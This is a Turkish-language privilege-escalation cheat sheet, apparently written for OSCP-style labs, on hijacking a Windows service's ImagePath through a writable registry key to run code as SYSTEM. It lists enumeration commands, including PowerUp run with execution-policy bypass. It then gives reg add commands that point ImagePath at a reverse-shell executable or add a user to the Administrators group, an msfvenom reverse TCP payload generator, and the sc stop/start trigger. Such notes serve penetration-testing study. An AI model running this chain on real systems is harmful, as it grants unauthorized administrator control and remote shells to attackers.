Zayıf Servis Registry ACL → ImagePath'i reg add ile Ele Geçirme
HKLM\SYSTEM\CurrentControlSet\Services\<svc> altındaki bir servis registry anahtarına yazma hakkın varsa, ImagePath değerini kendi binary'ne çevirip servisi restart ederek SYSTEM olarak kod çalıştırırsın. sc CHANGE_CONFIG yoksa bile registry ACL'i bunu mümkün kılabilir.
- HKLM\SYSTEM\CurrentControlSet\Services\<svc> anahtarında SetValue/FullControl
- Servisi başlatma/durdurma hakkı veya reboot imkanı
- Servisin yüksek yetkili (LocalSystem) hesapla çalışması
Komutlar
accesschk.exe -accepteula -uvwqk HKLM\System\CurrentControlSet\Services Get-Acl HKLM:\System\CurrentControlSet\Services\VulnSvc | Format-List; (Get-Acl HKLM:\System\CurrentControlSet\Services\VulnSvc).Access | Where-Object { $_.RegistryRights -match 'WriteKey|SetValue|FullControl' } powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Get-ModifiableRegistryAutoRun; Get-RegistryAlwaysInstallElevated" reg query HKLM\System\CurrentControlSet\Services\VulnSvc reg add HKLM\System\CurrentControlSet\Services\VulnSvc /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\rev.exe" /f reg add HKLM\System\CurrentControlSet\Services\VulnSvc /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\System32\cmd.exe /c net localgroup administrators {{USER}} /add" /f msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o rev.exe sc stop "VulnSvc" & sc start "VulnSvc" Zafiyetin Mantığı
Her servisin yapılandırması HKLM\SYSTEM\CurrentControlSet\Services\<servis> altında saklanır. SCM bu anahtardaki ImagePath değerini okuyarak hangi binary’nin çalışacağına karar verir. Eğer bu registry anahtarında düşük yetkili kullanıcı/gruba SetValue / WriteKey / FullControl verilmişse, sc config ile servis nesnesini değiştirme hakkın olmasa bile doğrudan registry’den ImagePath’i ele geçirebilirsin. Servis restart’ında senin binary’n LocalSystem olarak çalışır.
Tespit / Enumeration
- accesschk -k ile servis anahtarlarını recursive tara:
-uvwqk HKLM\System\CurrentControlSet\Services.KEY_SET_VALUE/KEY_WRITE/KEY_ALL_ACCESSgörünen anahtar adaydır. - PowerShell Get-Acl ile tek anahtarın ACL’ini incele;
RegistryRightsalanındaSetValue,WriteKeyveyaFullControlara. - winPEAS Registry/Services bölümünde ‘you can modify’ uyarısı verir; PowerUp da registry autorun/servis kontrollerini içerir.
Hedef servisin Start değeri (2=Auto, 3=Manual/Demand) ve ObjectName (LocalSystem ideal) değerlerini reg query ile doğrula.
Exploitation
- Orijinal
ImagePath’ireg queryile not et (geri döndürmek için). reg add ... /v ImagePath /t REG_EXPAND_SZ /d "<komut|exe>" /file değeri değiştir. Servis ImagePath’leri tipik olarakREG_EXPAND_SZtipindedir.- Hızlı kazanç için doğrudan
net localgroup administrators <user> /addkomutu; veya önceden yüklediğinrev.exereverse shell. sc stop+sc startile tetikle (yoksa reboot bekle).- Admin üyeliğini/shell’i doğrula.
Notlar / Tuzaklar
sc configengellenmiş ama registry yazılabilir senaryolar OSCP makinelerinde sık çıkar —win-weak-svc-permsbaşarısız olursa registry ACL’i ayrıca kontrol et.- Komut payload’ı SCM’ye yanıt vermeyeceğinden servis ‘failed to start’ verebilir; reverse shell veya grup ekleme yine de gerçekleşir.
- İş bitince
reg addile orijinal ImagePath’i geri yükle; aksi halde servis bozulur. REG_EXPAND_SZyerine yanlışlıklaREG_SZyazarsan%SystemRoot%gibi değişkenler genişlemez ama düz yollar yine çalışır.